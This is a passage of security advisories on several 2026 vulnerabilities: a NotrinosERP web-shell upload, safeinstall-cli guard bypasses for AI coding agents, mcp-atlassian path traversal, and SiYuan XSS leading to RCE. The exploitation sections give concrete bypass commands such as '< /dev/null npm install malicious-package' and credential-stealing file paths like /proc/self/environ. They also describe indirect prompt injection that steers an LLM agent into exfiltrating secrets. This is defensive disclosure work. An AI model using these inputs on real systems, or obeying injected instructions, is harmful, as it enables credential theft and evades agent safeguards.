``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology An attacker must first authenticate and obtain a valid session cookie possessing the "SA_EMPLOYEE" permission. The attack requires a valid CSRF token, which can be acquired by querying the document tab. A "GET" request is sent to the employee page to extract the "_token" parameter from the HTML form. With the CSRF token in hand, the attacker constructs a multipart form-data "POST" request to upload the payload. The payload is a standard PHP web shell embedded within the "doc_file" parameter, with the filename set to "shell.php". ```mermaid graph LR Attacker["Attacker Console"] -- "1. GET /hrm/manage/employees.php" --> Target["NotrinosERP Server"] Target -- "2. Return HTML with CSRF Token" --> Attacker Attacker -- "3. POST /hrm/manage/employees.php (Upload shell.php)" --> Target Target -- "4. Save shell.php to company/0/documents/employees/" --> FS["Filesystem Storage"] Attacker -- "5. GET /company/0/documents/employees/{id}_{ts}_shell.php?c=id" --> Target Target -- "6. Execute shell command & return output" --> Attacker ``` Because the application writes the final file path back to the user interface, the attacker does not need to guess the generated UNIX timestamp. The attacker reads the generated URL directly from the "View" link inside the HTTP response, then navigates to the uploaded script to execute arbitrary commands on the hosting server. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The impact of this vulnerability is critical, carrying a CVSS score of 8.8. Successful exploitation grants the attacker full remote code execution in the context of the user running the web server daemon, typically "www-data" or a dedicated low-privilege service account. From this position, the attacker can read sensitive configuration files, including database credentials stored in the application's configuration path. This access can be leveraged to extract ERP data, manipulate financial or employee records, or escalate privileges on the host system depending on local OS configurations. Furthermore, because the target directories are web-accessible and lacked restrictive access control headers or ".htaccess" configuration blocks, the backdoor remains persistently available. The system's integrity, availability, and confidentiality are completely compromised if an unauthorized operator executes command shells on the backend. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Secure Architecture To remediate this vulnerability, developers must restructure the document upload logic. The application must avoid using user-controlled names for the direct filesystem storage path. Developers should generate random, extensionless identifiers (such as a UUID or "uniqid()") on the backend, and map these identifiers to the original filenames in a secured database table. An alternative mitigation involves configuring the web server to deny script execution in the upload directory. For Apache servers, an ".htaccess" file should be deployed inside the "/company/0/documents/" directory to block the PHP interpreter. This prevents the server from executing scripts even if they are successfully uploaded. ```apache # Disable engine execution in the upload folder php_admin_flag engine off RemoveHandler .php SetHandler none ``` The ideal secure architecture pattern requires moving the upload storage directory completely outside of the web server's document root. Files should be retrieved and served exclusively through an application routing gateway that validates authorization and streams the file using proper content-disposition headers. Alon Barad https://cvereports.com/reports/GHSA-XRMC-C5CG-RV7X https://cvereports.com/reports/GHSA-XRMC-C5CG-RV7X Fri, 10 Jul 2026 19:34:14 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The `safeinstall-cli` command-line utility serves as a critical security control designed to intercept, parse, and police shell execution instructions generated by autonomous artificial intelligence (AI) agents. As AI agents operate dynamically in developers' environments, they often download external code or execute lifecycle scripts. To prevent execution of malicious dependencies, SafeInstall registers hooks such as `PreToolUse` for Claude Code or `beforeShellExecution` for Cursor. These hooks intercept commands, classify them, and enforce execution policies. In versions up to and including `0.10.1`, multiple fundamental security flaws in the `guard-parser` engine allowed attackers to easily craft shell commands that bypassed policy evaluation entirely. By exploiting subtle syntax deviations, unauthenticated remote attackers could execute unauthorized installation routines and lifecycle scripts on local development systems. These bypass configurations occur during initial command categorization, where the engine fails to map specific structures to package-management actions. The vulnerability affects all environments running automated agents with `safeinstall-cli` configurations. The overall severity is classified as High (CVSS 8.8) because a successful bypass allows arbitrary command execution with the privileges of the active terminal session. This enables attackers to retrieve local credentials, compromise private source code, or permanently alter configuration files on development machines. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of the vulnerability resides in the implementation of the `guard-parser` component within the Agent Guard module. SafeInstall's logic inspects raw CLI input to identify dangerous command-line utility triggers, such as `npm install`, `yarn add`, or `pnpm dlx`. This detection logic, however, did not enforce input normalization, creating systematic parsing gaps. Specifically, the parser failed to normalize process-name character casing before executing comparative logic (CWE-178). Operating systems with case-insensitive file-system configurations, such as macOS and Microsoft Windows, resolve command executions like `NPM install` or `SUDO` to their canonical binaries perfectly. The parser, on the other hand, performed strict, case-sensitive string matching against lowercase signatures like `npm` or `sudo`, allowing these variations to bypass the scanner without raising policy violations. Additionally, the parser did not account for leading shell redirection operators or correct argument-wrapping patterns (CWE-693). When a command begins with redirection structures like `< input.txt` or `> output.log`, the sequential tokenizer aborts scanning or misplaces the command index. Furthermore, wrapper tools such as `sudo` or `env` that carry variable option arguments caused the parser to misclassify option parameters as the executable command, shifting evaluation away from the trailing, malicious payload. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Parser Normalization To understand the parser failure, we analyze the vulnerable logic against the updated architecture in version `0.10.2`. In the vulnerable implementation, command tokenization occurred without character-case normalization or stream redirection stripping. The simplified layout below illustrates how a leading redirection or case mutation slipped past the evaluation bounds. ```typescript // Vulnerable Command Token Analysis (<= v0.10.1) function findCommandTokenIndex(tokens: string[]): number { // Vulnerability: Fails if leading redirection (<, >) occurs if (tokens[0] === '<' || tokens[0] === '>') { return -1; // Parser aborts immediately } const executable = tokens[0]; // Vulnerability: Case-sensitive check bypassable via 'NPM' on Windows/macOS if (SUPPORTED_MANAGERS.includes(executable)) { return 0; } return -1; } ``` The patch introduced in version `0.10.2` completely restructured the command parser into three distinct modules: `guard-flow.ts`, `guard-setup.ts`, and `guard-commands.ts`. The implementation now enforces casing normalization, strips file-descriptor redirections before scanning, and processes wrapper options utilizing strict arity rules. If an ambiguous or non-standard command structure is encountered, the parser fails closed to prevent evasion. ```typescript // Patched Command Normalization Logic (v0.10.2) function normalizeAndCleanTokens(rawTokens: string[]): string[] { // Step 1: Strip leading redirections from the evaluation stream let cleanTokens = [...rawTokens]; while (cleanTokens.length > 0 && (cleanTokens[0].startsWith('<') || cleanTokens[0].startsWith('>'))) { cleanTokens.shift(); } // Step 2: Normalize the command to lowercase for comparison if (cleanTokens.length > 0) { cleanTokens[0] = cleanTokens[0].toLowerCase(); } return cleanTokens; } ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploiting this parser vulnerability requires an attacker to inject specific commands into resources that an AI assistant, such as Claude Code or Cursor, will parse and execute. These targets typically include project configuration files, documentation instructions, issue boards, or repository files. When the assistant processes the malicious instructions, it attempts to run them locally, triggering the bypass mechanism automatically. An attacker can construct several distinct bypass structures depending on the environment. A case-variation attack utilizes capitalized package manager calls like `NPM install malicious-package`. A redirection-based bypass places a stream redirection prefix, such as `< /dev/null npm install malicious-package`, which causes the parser to return a negative index. A wrapper-hijack attack exploits option arity using `sudo -u developer npm install malicious-package`, forcing the parser to identify `-u` or `developer` as the primary executable. ```mermaid graph LR A["AI Coding Agent"] --> B["Command: 'NPM install payload'"] B --> C{"safeinstall-cli (<=0.10.1)"} C -- "No lowercase match" --> D["Bypassed: Agent Guard"] D --> E["Shell Execution (macOS/Windows)"] E --> F["Malicious Package Runs Pre/Postinstall Scripts"] ``` Once the parser fails to identify the command as a restricted package-installation action, the CLI ignores the tool use. The raw shell processes the instruction directly, allowing untrusted NPM dependencies to download. These dependencies then execute arbitrary code via preinstall or postinstall scripts, granting the attacker system access with the privileges of the active terminal session. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of this vulnerability is severe because it completely invalidates the security boundary established by `safeinstall-cli`. The Agent Guard's entire objective is to intercept unverified, AI-driven installations to prevent malicious package execution. By bypassing this control, attackers achieve unauthenticated remote code execution on the local machine hosting the AI coding assistant. Once execution is achieved via lifecycle scripts, an attacker can perform a wide range of unauthorized actions. This includes exfiltrating environment variables, reading local SSH keys, downloading private source code, or writing backdoors into active projects. Because development environments typically maintain direct access to cloud resources and deployment pipelines, a local compromise can quickly transition into a wider supply chain compromise. Currently, the vulnerability has no assigned CVE identifier and is tracked exclusively under `GHSA-XRMC-C5CG-RV7X`. Threat intelligence databases classify the exploit maturity as proof-of-concept level, and there are no recorded instances of weaponized exploitation in the wild. However, given the rapid adoption of AI coding assistants, the vulnerability remains a highly viable target for automated supply-chain campaigns. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Fix Completeness Remediation requires upgrading the global installation of the CLI to version `0.10.2` or later. Upgrading normalizes case configurations, integrates strict redirection parsing, processes wrapper options conservatively, and forces remote scaffolding calls (such as `npm create`) directly through the approval loop. System administrators can apply the update by running the global installation sequence. To secure local installations immediately, run the following commands: ```sh # Verify current version of safeinstall-cli safeinstall-cli --version # Upgrade global CLI to the patched version npm install -g safeinstall-cli@0.10.2 ``` The fix applied in version `0.10.2` is highly comprehensive. The maintainer introduced an adversarial regression corpus within `fixtures/bypass-corpus/` alongside a characterization test suite checking 158 distinct parsing configurations. Furthermore, a fuzzing harness was deployed to run up to one million commands against the parser. These aggressive test controls ensure the parser fails closed under anomalous inputs, preventing variants of these bypasses from re-emerging in subsequent releases. Alon Barad https://cvereports.com/reports/GHSA-WM45-QH3G-V83F https://cvereports.com/reports/GHSA-WM45-QH3G-V83F Fri, 10 Jul 2026 19:34:30 GMT {/* icon: search */} {/* type: overview */} ## Technical Overview of the Tool Boundary Violation The Model Context Protocol (MCP) establishes a standardized framework for exposing local capabilities, data, and tools to Large Language Models (LLMs) and cognitive agents. In typical local deployments, the MCP client and the MCP server operate co-located on the same physical loopback interface, sharing security boundaries and filesystem contexts. Under this local execution paradigm, passing absolute or relative file paths as tool arguments introduces minimal risk since the server runs with the identical privileges of the invoking user. However, when the MCP server is deployed over remote transports, such as Server-Sent Events (SSE) or custom HTTP routing bindings (e.g., binding to wildcard interfaces like 0.0.0.0), a physical and security boundary is established between the remote client and the hosting server. In these architectural configurations, the assumption that the file paths map to the client's workspace is violated. The server attempts to map client-provided path strings to its own underlying host filesystem. The `mcp-atlassian` package integrates MCP-enabled applications with Atlassian Jira and Confluence cloud instances. It exposes high-privilege tools meant to allow users to sync local documents as page attachments. Because the endpoint registers a raw `file_path` string argument instead of demanding multi-part file binary streams, any remote caller with access to tool execution interfaces can force the backend to perform local disk reads, crossing the critical system execution boundary. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause and Path Resolution Mechanics The vulnerability is characterized as an arbitrary server-side file read, mapping closely to the mechanics of CWE-22 (Path Traversal) and CWE-552 (Files or Directories Accessible to External Parties). The primary root cause resides in the lack of path sanitization, root-jail enforcement, or canonicalization checks on user-controlled input before passing it to high-privilege filesystem read sinks. The application receives a string parameter named `file_path` and processes it via standard operating system abstractions without verifying if the path is contained within a designated temporary directory or workspace. Two distinct execution paths lead directly to arbitrary file extraction. The first exists within the Confluence attachment module at `src/mcp_atlassian/confluence/attachments.py`. When a client invokes the `confluence_upload_attachment` or `confluence_upload_attachments` tools, the execution flow routes through `upload_attachment` to the inner helper `_upload_attachment_direct`. Here, the application calls `os.path.abspath(file_path)` to retrieve the absolute path before passing it to Python's built-in `open(file_path, "rb")` routine. The second vulnerable sink is located within the Jira integration at `src/mcp_atlassian/jira/attachments.py`. Under this flow, calling `jira_update_issue` with an `attachments` argument invokes `IssuesMixin.update_issue`, which forwards the strings to `self.upload_attachments`. The absolute path of each item is resolved and resolved directly into an unconfined read sink. Because Python's `open()` handles absolute path strings and parent directory traversal components (`../`) by climbing outside the current working directory, the operating system kernel fulfills the read requests for any file readable by the process's effective UID. {/* icon: code */} {/* type: deep-dive */} ## Vulnerable Implementation and Remediation Architecture To understand the structural failure, we can examine the conceptual representation of the vulnerable code path compared to secure design principles. The vulnerable functions resolve files dynamically using the host's default filesystem resolver without isolation. This is represented visually in the following architecture diagram: ```mermaid graph LR Client["Remote MCP Client"] -->|"Invoke tool (file_path='/etc/passwd')"| Server["MCP Atlassian Server"] Server -->|"os.path.abspath(file_path)"| Resolver["Path Resolver"] Resolver -->|"Direct read"| Disk["Host Filesystem (/etc/passwd)"] Disk -->|"Binary Content"| Server Server -->|"API upload_attachment"| Atlassian["Atlassian Cloud API"] Atlassian -->|"Exfiltrated file as attachment"| Att["Atlassian Storage Server"] ``` In an unpatched installation of `mcp-atlassian` (versions < 0.22.0), the vulnerable implementation of the direct upload operates roughly as follows: ```python # Vulnerable implementation in src/mcp_atlassian/confluence/attachments.py def _upload_attachment_direct(file_path, content_id): # Absolute or relative traversal paths are accepted directly resolved_path = os.path.abspath(file_path) # The application opens and reads the file without verifying containment with open(resolved_path, "rb") as f: file_data = f.read() # File contents are then sent straight to the external Atlassian API response = self.client.upload_attachment_to_confluence(content_id, file_data) return response ``` A robust remediation of this pattern requires validating that the target file falls strictly within an authorized, pre-configured directory. The secure pattern is demonstrated below: ```python # Patched/secure implementation pattern def _upload_attachment_secure(file_path, content_id, allowed_directory="/app/workspace"): # Normalize and canonicalize both paths base_dir = os.path.realpath(allowed_directory) target_path = os.path.realpath(file_path) # Prevent directory traversal attacks by checking the common prefix if not target_path.startswith(base_dir + os.path.sep) and target_path != base_dir: raise PermissionError("Access denied: Path is outside the sandbox boundary") with open(target_path, "rb") as f: file_data = f.read() # Proceed with safe upload ``` {/* icon: terminal */} {/* type: exploit */} ## Detailed Attack Methodology and Proof-of-Concept Analysis Exploitation of this vulnerability requires network connectivity to the MCP server's transport port (or indirect access via a compromised front-end web application that communicates with the MCP back-end) and permission to issue tool calls. In a typical scenario where the MCP server is exposed to facilitate integration with remote LLM user interfaces, an attacker can directly issue standard MCP protocol JSON-RPC payloads. To retrieve a critical host credential store or configuration file, the attacker first selects a destination entity, such as an active Confluence page ID or a Jira issue key that they have access to read. They then send a `tools/call` JSON payload specifying the targeting parameters. For example, by specifying `/etc/passwd` as the `file_path`, the server will ingest the user account list and upload it as a new attachment to the specified Confluence page. Once the attachment is successfully written to the Atlassian instance, the attacker exfiltrates the contents using the corresponding retrieval or download tool. For Confluence, invoking `confluence_download_attachment` with the returned attachment ID fetches the file from the cloud storage and outputs it as a base64-encoded block or raw text stream directly to the attacker. In Jira, the attacker can log in to the Jira web console or fetch the ticket attachments via API to retrieve the host's files. A highly critical exploit path involves targeting `/proc/self/environ` on Linux hosts. Many containerized deployments load sensitive credentials, including the server's own `CONFLUENCE_API_TOKEN` and `JIRA_API_TOKEN`, directly into environmental variables. Although `/proc/self/environ` registers a size of zero bytes in directory listings, standard stream readers can read it sequentially. By reading this virtual path, the attacker extracts the application's configuration environment, acquiring high-privilege administrative tokens to compromise the entire corporate Atlassian workspace. {/* icon: skull */} {/* type: deep-dive */} ## Threat Assessment and Impact Analysis The security impact of this vulnerability is elevated due to the role of MCP servers as privileged integration nodes. The CVSS base score of 7.7 reflects the high severity of unauthenticated or low-privilege confidentiality loss across distinct authorization boundaries. The scope metric is explicitly marked as 'Changed' (S:C) because the exploit allows an attacker operating within the logical boundaries of the MCP application protocol to read arbitrary files from the underlying operating system's filesystem. This boundary crossing completely bypasses container isolation or logical tenant partitioning if multiple client interfaces share the same backend server. Furthermore, the vulnerability serves as a direct pipeline for lateral movement. By exfiltrating local source code, database credentials, or host SSH keys, an attacker can pivot from a restricted tool integration container to full host-level exploitation or persistent network-wide access. Additionally, the compromise of the Atlassian API tokens themselves presents an immediate secondary risk. Because the server must maintain operational API access to Jira and Confluence, the exposure of `/proc/self/environ` or local disk configuration files grants the attacker administrative access to the connected cloud spaces. This can lead to unauthorized data manipulation, access to internal corporate wikis, and theft of proprietary IP. {/* icon: shield */} {/* type: mitigation */} ## Mitigation, Detection, and Security Hardening To completely remediate this flaw, administrators must upgrade `mcp-atlassian` to version **0.22.0** or later. The patch alters the file processing architecture to enforce isolation boundaries. If an immediate upgrade is not feasible, several defensive workarounds must be deployed to mitigate the attack surface. First, restrict the network binding of the MCP server. Ensure that the service binds strictly to local loopback interfaces (such as `127.0.0.1`) rather than wildcards (`0.0.0.0`). Forcing clients to authenticate via a secure proxy or restricting tool access to a local `stdio` transport eliminates remote exploitability. Second, implement process isolation using Docker containerization combined with read-only filesystems. Running the containerized MCP process as a non-privileged user (with a high UID) and mounting only essential directories ensures that even if a traversal occurs, the process lacks read access to critical directories like `/etc`, `/proc`, or `/var/run`. The container should be configured with the minimum required environment variables, utilizing secure secret managers rather than exposing high-value keys in `/proc/self/environ`. Amit Schendel https://cvereports.com/reports/GHSA-G5R6-GV6M-F5JV https://cvereports.com/reports/GHSA-G5R6-GV6M-F5JV Fri, 10 Jul 2026 19:34:37 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The Model Context Protocol (MCP) is an open standard designed to enable large language model (LLM) agents to interact securely with external tools, APIs, and data sources. The `mcp-atlassian` package implements this protocol to expose Atlassian Jira and Confluence APIs directly to LLM applications. Among the various tools provided by this server, the `confluence_upload_attachment` tool is designed to allow agents to upload files from the local filesystem of the hosting machine to a specific page in Confluence. In versions of `mcp-atlassian` prior to `0.22.0`, the file path supplied to the `confluence_upload_attachment` tool is processed without any validation against directory boundaries. This omission introduces a directory traversal vulnerability classified under CWE-22, enabling unauthorized access to the host file system. Since the tool executes in the security context of the server process, it can access any file readable by the underlying operating system user. The exposure is heavily magnified by the typical operating context of LLM agents, which often process untrusted external data. If an agent is directed to read a document containing a malicious payload, an external attacker can execute an Indirect Prompt Injection (IPI) attack. This attack tricks the LLM into calling the vulnerable upload tool with arbitrary file paths, exfiltrating critical system secrets back to the attacker-controlled Confluence space. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The primary defect lies in the path normalization and validation logic within the Confluence attachment component of `mcp-atlassian`. When a tool call is initiated, the server invokes the `upload_attachment` method inside `src/mcp_atlassian/confluence/attachments.py`. This method takes a user-controlled parameter `file_path` representing the file to be uploaded. The vulnerable implementation relies solely on `os.path.abspath(file_path)` to resolve relative paths to absolute paths. While this expansion standardizes the path string, it lacks any boundary checking to verify if the resolved path resides within an approved folder. The code then uses `os.path.exists(file_path)` to confirm the file is present on disk, which succeeds for any accessible path. Following this check, the path is forwarded directly to the private helper method `_upload_attachment_direct`. This method opens the file for reading using the built-in `open(file_path, "rb")` function without further restriction. The binary content of the file is then wrapped in a standard multipart/form-data request and transmitted to the remote Confluence REST API endpoint. Consequently, any system file that the running process has permission to read can be successfully uploaded and exfiltrated. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Analysis and Patch Evaluation A comparative analysis of the codebase reveals the vulnerable path handling versus the corrected validation pattern. In version `0.21.1`, the input is processed without strict security controls. ```python # Vulnerable implementation in v0.21.1 try: # Convert to absolute path if relative if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # Check if file exists if not os.path.exists(file_path): logger.error(f"File not found: {file_path}") return {"success": False, "error": f"File not found: {file_path}"} ``` In version `0.22.0`, the developer introduced the `validate_safe_path` utility to restrict the resolution of the `file_path` parameter to the current working directory. ```python # Patched implementation in v0.22.0 try: # Confine the upload source to the workspace before it is read file_path = str(validate_safe_path(file_path)) # Check if file exists if not os.path.exists(file_path): logger.error(f"File not found: {file_path}") return {"success": False, "error": f"File not found: {file_path}"} ``` The `validate_safe_path` function, implemented in `src/mcp_atlassian/utils/io.py`, enforces security boundaries by resolving symlinks and explicitly validating containment. It obtains the absolute path of the base directory (defaulting to the current working directory) using Python's `Path.resolve()`. It then verifies if the target path is a subpath of the base directory using `is_relative_to()`. If the validation fails, a `ValueError` is raised, preventing the file open operation. ```python # Path validation logic in src/mcp_atlassian/utils/io.py def validate_safe_path( path: str | os.PathLike[str], base_dir: str | os.PathLike[str] | None = None, ) -> Path: if base_dir is None: base_dir = os.getcwd() resolved_base = Path(base_dir).resolve(strict=False) p = Path(path) if not p.is_absolute(): p = resolved_base / p resolved_path = p.resolve(strict=False) if not resolved_path.is_relative_to(resolved_base): raise ValueError( f"Path traversal detected: {path} resolves outside {resolved_base}" ) return resolved_path ``` The patch is robust because it addresses several common bypass techniques. By resolving symlinks using `Path.resolve(strict=False)`, it prevents attackers from using symlink directory traversal to reference files outside the workspace. Furthermore, restricting the default base directory to the current working directory minimizes the exposed attack surface, provided the server process is executed from an isolated, empty directory. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology & Attack Scenarios Exploitation can proceed via direct tool invocation or indirect prompt injection. In direct exploitation, an attacker who has authenticated access to the MCP client session issues a request payload targeting sensitive files. ```mermaid graph LR A["MCP Client"] -- "1. Send tool call with path /etc/passwd" --> B["mcp-atlassian Server"] B -- "2. Check file existence & open" --> C["Local Filesystem"] C -- "3. Return file handle" --> B B -- "4. POST file data via REST API" --> D["Confluence Cloud"] D -- "5. Download attachment" --> E["Attacker"] ``` An indirect prompt injection attack requires no credentials and operates through the data ingestion pipeline of the LLM. The attacker places a malicious payload inside an external resource, such as a Jira description or comment, that the agent is scheduled to read. When the agent processes this content, the instruction-following nature of the LLM is subverted by the injection payload. The LLM interprets the text as a high-priority system command. It then issues an automated tool call to `confluence_upload_attachment` with the `file_path` set to a target file such as `/proc/self/environ` or `/etc/passwd`. The host process executes the request autonomously without requiring human authorization. Once the upload completes, the file is available under the page attachments on the targeted Confluence page. The attacker can then view or download the attachment directly, exposing sensitive credentials and system details. {/* icon: shield */} {/* type: deep-dive */} ## Security Impact & Lateral Movement The security consequences of this directory traversal flaw are significant. An attacker can retrieve configuration files, source code, and active process memory data. On Linux systems, reading `/proc/self/environ` exposes all environment variables of the running shell. These environment variables typically contain the credentials needed for the `mcp-atlassian` server to authenticate to the cloud APIs. Specifically, this includes `CONFLUENCE_API_TOKEN`, `JIRA_API_TOKEN`, and potentially AWS, GCP, or Azure secret keys used for deployment. Compromise of these tokens allows the attacker to hijack the associated Atlassian workspace accounts, gaining access to confidential corporate databases, wikis, and task trackers. This vulnerability receives a CVSS score of 7.7. The CVSS vector `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` reflects the ease of exploitation over the network and the high confidentiality impact. The Scope parameter is marked as Changed (S:C) because the vulnerability on the local server hosting the MCP integration directly leads to data exfiltration and credential exposure on the external Confluence Cloud infrastructure. {/* icon: lock */} {/* type: mitigation */} ## Detection, Mitigation, and Defensive Strategies Immediate remediation requires upgrading `mcp-atlassian` to version `0.22.0` or higher. This ensures that all file uploads are restricted to the workspace directory. If an upgrade cannot be performed immediately, several workarounds can help reduce the risk of exploitation. Deploying the server process with minimal privileges is a key defense. The operating system user running the process should have no read access to sensitive system paths or configuration directories. Additionally, running the process within a sandboxed environment, such as a Docker container with a read-only filesystem, restricts the impact of any file-read capabilities. Monitoring network traffic and application logs can help detect exploitation attempts. Security teams should analyze Confluence audit logs for unexpected attachment uploads, particularly files originating from system directories or those with unusual extensions. Implementing strict Web Application Firewall (WAF) or network detection rules can block patterns matching directory traversal vectors in API parameters. Amit Schendel https://cvereports.com/reports/CVE-2026-54158 https://cvereports.com/reports/CVE-2026-54158 Fri, 10 Jul 2026 19:34:53 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview CVE-2026-54158 is a critical-severity vulnerability in the SiYuan open-source personal knowledge management system. The flaw exists in the frontend attribute-view cell renderer, specifically within the genAVValueHTML function. This component processes database cells for display in the block-attribute panel. When an attacker inputs malicious HTML payload structures into specific cell types, the application fails to sanitize the output, leading to Stored Cross-Site Scripting. Because the desktop client runs inside an Electron wrapper with insecure defaults, this XSS propagates to Remote Code Execution on the host operating system. The vulnerability exhibits high risk due to workspace synchronization. Synced workspaces distribute database cell values across all connected devices automatically, triggering the payload on any peer client opening the affected block-attribute panel. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause is a combination of two distinct security issues: improper output neutralization in the database view renderer and insecure default privileges in the Electron configuration. In standard operations, the Go-based backend kernel sanitizes Inline Attribute List inputs using the html.EscapeAttrVal function. This sanitization is absent in the attribute-view database engine. Malicious input values are stored byte-for-byte in the local database storage files under the workspace without verification or modifications on ingestion. During rendering, the frontend function genAVValueHTML processes specific attribute types: text, url, phone, and mAsset. For these four types, the application inserts the raw string directly into the template container instead of encoding it. This allows structured HTML elements to escape their tag contexts. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis In versions prior to 3.7.0, the vulnerable implementation of the genAVValueHTML renderer directly interpolates user input into raw HTML string templates. This lack of escaping allows the user input to close the active textarea block or attribute quotes and inject new DOM nodes. Consider the following simplified representation of the vulnerable code in the frontend view engine: ```javascript // Vulnerable rendering function in versions < 3.7.0 function genAVValueHTML(type, value) { switch (type) { case 'text': case 'url': case 'phone': case 'mAsset': // Vulnerable: Direct interpolation allows HTML injection return `<textarea class="av-cell-text">${value}</textarea>`; default: return escapeHTML(value); } } ``` The patch implemented in commit 27e0051e0d067892e833df1063cb2fb469600e98 alters the handling of these four branches. Instead of direct template interpolation, the values undergo strict character escaping to sanitize special characters. This prevents the browser from interpreting the input as active code. ```javascript // Patched rendering function in version 3.7.0 function genAVValueHTML(type, value) { switch (type) { case 'text': case 'url': case 'phone': case 'mAsset': // Patched: Input is escaped before rendering const escapedValue = escapeHTML(value); return `<textarea class="av-cell-text">${escapedValue}</textarea>`; default: return escapeHTML(value); } } ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires write access to a shared or synced database workspace. The attacker inserts a specially crafted payload into a cell of type text, url, phone, or mAsset. Because the backend does not sanitize database cells during write operations, the payload persists exactly as written. When a user synchronized with the workspace views the containing page and opens the block-attribute panel, the client executes the payload automatically. On the Electron desktop application, the renderer window operates with nodeIntegration set to true, which exposes the native Node.js process and require structures directly to the client-side JavaScript. The following diagram illustrates the execution flow from the database sync to the operating system command shell: ```mermaid graph LR A["Attacker Workspace Row Injection"] -->|Syncs Malicious Row| B["Sync Server or File Share"] B -->|Pulls Updates| C["Victim Workspace"] C -->|Opens Attribute Panel| D["genAVValueHTML Unescaped Renderer"] D -->|Executes Injected Script| E["Electron Renderer nodeIntegration: true"] E -->|Calls require-child-process-exec| F["Host OS Command Execution"] ``` {/* icon: lock */} {/* type: deep-dive */} ## Impact Assessment The security impact is classified as Critical with a CVSS v3.1 base score of 9.9. The scope of the vulnerability is changed because the exploit successfully escapes the web browser sandbox and achieves command execution on the host system. An attacker gains unauthenticated remote command execution under the security context of the user running the SiYuan desktop application. This allows complete access to the local filesystem, execution of arbitrary shell scripts, network reconnaissance, and potential lateral movement within the network environment. While the EPSS score remains low, this is due to the nature of desktop software requiring workspace collaboration or shared synchronization folders. Targeted attacks against developers, security researchers, and knowledge workers who utilize shared markdown vaults carry a high probability of success if they do not upgrade. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Hardening The primary remediation strategy is upgrading the SiYuan application to version 3.7.0 or later. This release addresses the rendering vulnerability and neutralizes the XSS vector inside the attribute-view renderer. In environments where an immediate upgrade is unfeasible, administrators should restrict workspace sharing and block synchronization from untrusted repositories. Analyzing local database and attribute-view files for script patterns can assist in detecting potential compromise. For developers building similar Electron applications, disabling Node integration in the renderer process is critical for defense-in-depth. Setting nodeIntegration to false and enabling contextIsolation to true in the browser window configuration ensures that XSS bugs do not escalate to host compromises. Alon Barad https://cvereports.com/reports/CVE-2026-50551 https://cvereports.com/reports/CVE-2026-50551 Fri, 10 Jul 2026 20:37:04 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview SiYuan is an open-source personal knowledge management system designed with a focus on privacy and local-first data storage. A central feature of the platform is the Attribute View, which functions as a structured database allowing users to organize notes, documents, and various fields. This interface acts as a significant attack surface because it processes complex user-defined schemas and external inputs. The vulnerability, identified as CVE-2026-50551, lies in the asset cell renderer component of this database feature. This specific module is responsible for rendering file attachments and visual links to uploaded assets within the user interface. Due to inadequate processing of these asset attributes, an authenticated user can inject malicious scripts into the application context. The resulting flaw is classified under CWE-79 as a Stored Cross-Site Scripting vulnerability. While typical XSS exploits are limited to the browser sandbox, the desktop client's architecture relies on Electron. Consequently, the execution of arbitrary script code within the web context can bypass security boundaries and achieve full Remote Code Execution on the client operating system. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The primary technical defect resides in the improper neutralization of input before it is rendered inside the Document Object Model. When a user uploads a file or creates an asset link, the application assigns structural properties, including the filename, to the database entry. The application handles these properties as trusted data points during subsequent visual renderings. During the rendering of an Attribute View database table, the asset cell renderer fetches the metadata string associated with each asset. Instead of applying strict sanitization or using safe text-binding APIs, the renderer constructs HTML blocks dynamically. This allows any HTML tags or JavaScript handlers contained within the asset name to be executed directly in the user session. The vulnerability is highly operationalizable because the data synchronization engine propagates these database configurations. If a shared or compromised database is synchronized across multiple devices, the malicious asset cell renders automatically on each target system. There is no requirement for user interaction beyond the simple action of viewing the compromised table. The translation from XSS to RCE is facilitated by the Electron desktop environment. Because the web application runs inside a native desktop wrapper, it has access to specific APIs exposed via the preload script. If the context bridge exposes powerful functions or raw Inter-Process Communication channels, a script executing in the web view can invoke operating system commands. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Vulnerability & Patch Analysis Analysis of the vulnerable code path reveals that the application dynamically constructed cell elements by concatenating strings containing asset names directly into container elements. This pattern exposes the application directly to HTML injection attacks. ```javascript // Conceptual representation of the vulnerable rendering path function renderAssetCell(cellData, container) { const assetName = cellData.name; // Attacker-controlled const assetPath = cellData.path; // Unsanitized concatenation leading to CWE-79 const htmlContent = `<div class="protyle-attr--asset">` + `<a href="${assetPath}" title="${assetName}">` + `<img src="/assets/icon.png" /> ${assetName}` + `</a></div>`; container.innerHTML = htmlContent; } ``` To resolve this vulnerability, the fix implemented in commit `27e0051e0d067892e833df1063cb2fb469600e98` introduces strict sanitization before rendering elements. Rather than directly assigning unvalidated strings to HTML attributes, the application now sanitizes the string using safe parsing functions or builds elements programmatically via the standard DOM API. ```javascript // Conceptual representation of the patched rendering path function renderAssetCellPatched(cellData, container) { const assetName = cellData.name; const assetPath = cellData.path; // Clear the container first container.innerHTML = ''; const wrapper = document.createElement('div'); wrapper.className = 'protyle-attr--asset'; const link = document.createElement('a'); // Safe assignment of attributes prevents payload execution link.setAttribute('href', encodeURI(assetPath)); link.setAttribute('title', assetName); const img = document.createElement('img'); img.setAttribute('src', '/assets/icon.png'); const textNode = document.createTextNode(` ${assetName}`); 